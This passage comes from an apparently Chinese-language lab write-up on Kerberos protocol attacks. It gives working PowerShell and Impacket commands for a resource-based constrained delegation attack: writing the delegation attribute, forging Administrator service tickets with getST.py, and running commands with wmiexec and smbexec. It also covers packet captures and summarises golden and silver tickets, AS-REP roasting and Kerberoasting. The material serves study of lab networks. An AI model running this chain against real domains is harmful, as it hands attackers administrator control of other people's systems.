Get-ADComputer -Identity "DC" | Set-ADComputer -Replace @{"msDS-AllowedToActOnBehalfOfOtherIdentity" = $SDBytes}

# 8. 验证机器账户创建成功
Get-ADComputer -Identity "attackpc" -Properties Enabled, DistinguishedName | Format-List

# 9. 验证RBCD配置
Get-ADComputer -Identity "DC" -Properties msDS-AllowedToActOnBehalfOfOtherIdentity | Format-List

# 10. 检查域控的HOST服务SPN
setspn -L DC | findstr "HOST"

在Kali中执行以下命令,进行基于资源的约束委派攻击(Resource-Based Constrained Delegation,RBCD)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 11. 执行约束委派攻击
python3 getST.py -dc-ip DC.test.mydomain 'test.mydomain/attackpc$:RootPass123!' -spn host/dc.test.mydomain -impersonate administrator

# 12. 设置票据环境变量
export KRB5CCNAME=administrator@host_dc.test.mydomain@TEST.MYDOMAIN.ccache

# 13. 验证票据
klist

# 14. 使用票据获取域控访问权限
python3 wmiexec.py -k -no-pass test.mydomain/administrator@DC.test.mydomain "whoami"

# 15. 获取域管理员列表
python3 wmiexec.py -k -no-pass test.mydomain/administrator@DC.test.mydomain "net group \"Domain Admins\" /domain"

生成票据成功。

image-20251118121720428

成功执行命令。

image-20251118121746690

下面就是使用wireshark进行抓包,分析这时的kerberos数据包的情况。

1、S4u2Self

和正常的TGS-REQ包相比,S4u2Self协议的TGS-REQ包会多一个PA-DATA pA-FOR-USER,name为要模拟的用户,并且sname也是请求的服务自身。

场景A请求的数据包,如下图:

image-20251118125859937

2、S4u2Proxy

和正常的TGS-REQ包相比,S4u2Proxy协议的TGS-REQ包会增加一个additional-tickets字段,该字段的内容就是上一步利用S4u2Self请求的ST。

首先是建立场景B的环境。

第一步我们先查看域控上有哪些账户,使用命令Get-ADUser -Filter *,结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
DistinguishedName : CN=Administrator,CN=Users,DC=test,DC=mydomain
Enabled : True
GivenName :
Name : Administrator
ObjectClass : user
ObjectGUID : 7554700c-95aa-4205-b2c5-ee459ec67438
SamAccountName : Administrator
SID : S-1-5-21-1484574725-2487331599-3880452622-500
Surname :
UserPrincipalName :

DistinguishedName : CN=Guest,CN=Users,DC=test,DC=mydomain
Enabled : False
GivenName :
Name : Guest
ObjectClass : user
ObjectGUID : 1a557d38-2b47-4524-888b-db7215af07d3
SamAccountName : Guest
SID : S-1-5-21-1484574725-2487331599-3880452622-501
Surname :
UserPrincipalName :

DistinguishedName : CN=admin,CN=Users,DC=test,DC=mydomain
Enabled : True
GivenName :
Name : admin
ObjectClass : user
ObjectGUID : 35465fe2-a697-407d-b949-1f9b2db55634
SamAccountName : admin
SID : S-1-5-21-1484574725-2487331599-3880452622-1001
Surname :
UserPrincipalName :

DistinguishedName : CN=krbtgt,CN=Users,DC=test,DC=mydomain
Enabled : False
GivenName :
Name : krbtgt
ObjectClass : user
ObjectGUID : fb36a01d-cdec-4c92-bf2b-aa8f1ec7d107
SamAccountName : krbtgt
SID : S-1-5-21-1484574725-2487331599-3880452622-502
Surname :
UserPrincipalName :

DistinguishedName : CN=bob,OU=运维部,DC=test,DC=mydomain
Enabled : True
GivenName :
Name : bob
ObjectClass : user
ObjectGUID : 99be4d6f-df78-41c7-814c-e01e3311d493
SamAccountName : bob
SID : S-1-5-21-1484574725-2487331599-3880452622-1108
Surname : bob
UserPrincipalName : bob@test.mydomain

DistinguishedName : CN=alice,OU=行政部,DC=test,DC=mydomain
Enabled : True
GivenName :
Name : alice
ObjectClass : user
ObjectGUID : 719b54fa-3d1d-4602-ac64-02ac9e6d8287
SamAccountName : alice
SID : S-1-5-21-1484574725-2487331599-3880452622-1109
Surname : alice
UserPrincipalName : alice@test.mydomain

我想使用普通的域用户alicebob对象进行资源委派。

上述列表中 SamAccountNamealice(普通用户格式)。关键前提: 为了进行 S4U (Service for User) 操作,alice 必须拥有 SPN (Service Principal Name)。普通的机器账户(如 computer$)默认有 SPN,但普通用户 alice 默认没有。

在域控上为alice用户注册一个spn,命令如下:

1
2
3
4
# spn
Set-ADUser -Identity alice -ServicePrincipalNames @{Add="final/test"}
# 查询spn
Get-ADUser -Identity alice -Properties ServicePrincipalName | Select-Object Name, ServicePrincipalName

image-20251123125333154

现在是有了spn,还差alicebob对象的msDS-AllowedToActOnBehalfOfOtherIdentity属性有写的权限。

在域控中执行下下面的命令:

1
dsacls "CN=bob,OU=运维部,DC=test,DC=mydomain" /G "test\alice:WP;msDS-AllowedToActOnBehalfOfOtherIdentity"

命令解析:

  • "CN=bob,OU=运维部,DC=test,DC=mydomain": 目标对象 Bob 的完整路径 (Distinguished Name)。
  • /G: 授予权限 (Grant)。
  • test\alice: 被授予权限的用户。
  • :WP: 权限类型为 Write Property (写属性)。
  • ;msDS-AllowedToActOnBehalfOfOtherIdentity: 指定具体的属性名称。

image-20251122225045926

ok,我们现在写的权限也有了。

整个场景B的情况如下,该有的条件都满足了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
用户: alice (假设已获取该账户控制权,且该账户已被配置 SPN)

权限: 对计算机对象 bob (CN=bob,OU=运维部,DC=test,DC=mydomain) 拥有 写权限 (GenericAll, GenericWrite, WriteDacl 或 WriteProperty -> msDS-AllowedToActOnBehalfOfOtherIdentity)。

攻击:
1、配置信任关系 (Resource Constraint) 利用 alice 拥有的写权限,修改 bob 对象的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性。将 alice 的 SID (S-1-5-21...-1109) 封装为安全描述符并在该属性中添加,从而“强行”让 bob 信任 alice 的委派请求。

2、伪造身份 (S4U2Self) alice 使用自己的凭据向 KDC 发起 S4U2Self 请求,以 Administrator 的名义请求访问 alice 自身的服务票据 (ST)。
结果:获得了一张 Administrator -> alice 的票据 (Evidence Ticket)。

3、获取目标票据 (S4U2Proxy) alice 使用上一步获取的 Evidence Ticket,向 KDC 发起 S4U2Proxy 请求,申请访问 bob 的 CIFS 服务 (cifs/bob.test.mydomain) 的票据。
结果:由于步骤1配置了信任,KDC 返回了一张 Administrator -> bob 的服务票据。

获取 bob 的管理员权限 alice 将步骤3获取的票据导入内存 (Pass-The-Ticket),直接访问 \\bob.test.mydomain\c$。此时 bob 认为访问者是域管理员 Administrator,从而允许执行任意文件操作或进一步利用 (如创建计划任务、上传木马等)。

目前alice普通域账户的spn已经注册,为final/testalicebob对象的msDS-AllowedToActOnBehalfOfOtherIdentity属性也有写的权限了。

接下来就是完成**“写属性 -> S4U2Self -> S4U2Proxy”**这一整套攻击流程。

阶段0:基础环境配置(至关重要)

Kerberos协议对时间域名解析非常敏感。

1、配置DNS解析,Kali必须能解析域名。

1
2
3
sudo vim /etc/hosts
192.168.233.131 dc.test.mydomain
192.168.233.132 bob.test.mydomain

2、同步时间:Kerberos票据的时间戳误差不超过5min

1
sudo ntpdate dc.test.mydomain

阶段1:配置资源约束委派(写属性)

alice 添加到 bobmsDS-AllowedToActOnBehalfOfOtherIdentity 属性中。

这里我为了方便,直接在域控中执行下面的命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 1. 准确获取 用户 Alice 的对象 (避免获取成计算机)
$AliceUser = Get-ADUser -Identity alice
Write-Host "用户 Alice 的 SID 是: $($AliceUser.SID)" -ForegroundColor Green

# 2. 构造 SDDL 字符串
# O:BAD: = 拥有者/组默认
# (A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SID) = 允许该SID进行所有操作(GenericAll)
$SDDL = "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($AliceUser.SID))"

# 3. 创建二进制的安全描述符
$SD = New-Object System.Security.AccessControl.RawSecurityDescriptor($SDDL)
$Bytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($Bytes, 0)

# 4. 强制覆盖写入 Bob 的属性
# 注意:这里使用 -Replace,会清除掉旧的错误配置(如果有的话),只保留 Alice
Set-ADComputer -Identity bob -Replace @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$Bytes}

Write-Host "配置完成!Bob 现在只信任用户 Alice。" -ForegroundColor Cyan

阶段 2 & 3:执行S4U2Self 和 S4U2Proxy

接下来就是在Kali上使用Impacket工具集了。Impacket 工具集中的 getST.py (Get Service Ticket) 能够完美模拟 Rubeus 的 S4U 功能。它会自动处理 S4U2Self (拿自己的票) 和 S4U2Proxy (拿目标的票) 的全过程。

1
python3 getST.py -spn cifs/bob.test.mydomain -impersonate Administrator -dc-ip 192.168.233.131 test.mydomain/alice:'qwer@1234'

成功获取票据。

image-20251123134708769

导入票据并执行命令:

1
2
export KRB5CCNAME=Administrator@cifs_bob.test.mydomain@TEST.MYDOMAIN.ccache
python3 smbexec.py -k -no-pass test.mydomain/Administrator@bob.test.mydomain

image-20251123134625752

再回头去看,我们的目的是了解使用了S4u2Proxy的基于资源的约束委派和普通的Kerberos协议的流量的区别。

这里在生成票据的过程中,使用wireshark进行抓包,然后查看数据包。

这里的additional-tickets就是增加的字段。

image-20251123135610791

Kerberos协议中的安全问题

Kerberos协议各阶段容易产生的安全问题如下图:

image-20251117195046246

PTH & PTK

在AS-REQ阶段,使用的是用户密码Hash或AES Key加密的时间戳。当只获得了用户密码Hash时,发起AS-REQ会造成PTH攻击;当只获得用户密码的AES Key时,发起AS-REQ会造成PTK攻击。

域内用户枚举

AS-REQ包中cname字段的值代表用户名,这个值存在和不存在,返回的包不一样,所以可以用于枚举域内用户名,这种攻击方式被称为域内用户枚举攻击(当未获取到有效域用户权限时,可以使用这个方法枚举域内用户)。当用户名存在,密码正确和错误时,返回的包也不一样,所以可以进行用户名密码爆破。

密码喷洒

对密码进行喷洒式的攻击,成为密码喷洒(Password Spraying)。针对同一个用户的连续密码猜测会导致账户被锁定,所以只有对所有用户同时执行特定的密码登录尝试,才能增加破解的概率,从而避免账户被锁定。密码喷洒就是用固定的密码去爆破所有的用户名。

黄金票据 & 白银票据

**在AS-REP阶段,由于返回的TGT是由krbtgt用户的密码Hash加密的,因此如果我们拥有krbtgt的密码Hash就可以自己制作一个TGT,这个票据也被称为黄金票据。**这种攻击方式被称为黄金票据传递攻击。

同样,在TGS-REP阶段,TGS-REP中的ST是使用服务的Hash进行加密的,如果我们拥有服务的Hash就可以签发任意用户的ST,这个票据也被称为白银票据,这种攻击方式也被称为白银票据传递攻击。

相比较于黄金票据传递攻击,白银票据传递攻击使用的是要访问服务的Hash,而不是krbtgt的Hash。

AS-REP Roasting攻击

在AS-REP阶段,Logon Session Key是用用户密码Hash加密的,对于域用户,**如果设置了”Do not require Kerberos preauthentication“(不需要预认证)选项,攻击者会向域控的88端口发送AS-REQ,此时域控不会做任何验证就将TGT和该用户Hash加密的Logon Session Key返回。**这样,攻击者就可以对获取到的用户Hash加密的Logon Session Key进行离线破解,如果破解成功,就能得到该用户的密码明文,这种攻击方式被称为AS-REP Roasting攻击。

Kerberoasting攻击

在TGS-REP阶段,由于ST是用服务Hash加密的,因此,如果我们能获取到ST,就可以对该ST进行破解,得到服务的Hash,造成Kerberoasting攻击。这种攻击方式存在的另外一个原因是用户向KDC发起TGS_REQ请求时,不管用户对服务有没有访问权限,只要TGT正确,KDC都会返回ST。其实AS-REQ中的服务就是krbtgt,也就是说这种攻击方式同样可以用于AS-REP中的TGT,但之所以没见到这种攻击方式是因为krbtgt的密码是随机生成的,爆破不出来。

总结

通过本章节的学习,我了解到了NTLM认证协议、Kerberos认证协议,根据协议的流程,我们也了解到了对应的攻击方法,哈希传递、白银票据、黄金票据、约束委派攻击等等。那么对于开头说的问题,这里我们全部都有答案了。我自己搭建的环境,相关的wireshark的流量,以及解密的keytab全部放在github[6]上了。

参考


  1. https://www.cnblogs.com/backlion/p/18433248 ↩︎

  2. 《域渗透攻防指南》 谢兆国、张秋圆 著 ↩︎

  3. https://www.rfc-editor.org/rfc/rfc4120.html ↩︎

  4. https://github.com/fortra/impacket ↩︎

  5. https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/ ↩︎

  6. https://github.com/x2nn/kerberos-network-packets ↩︎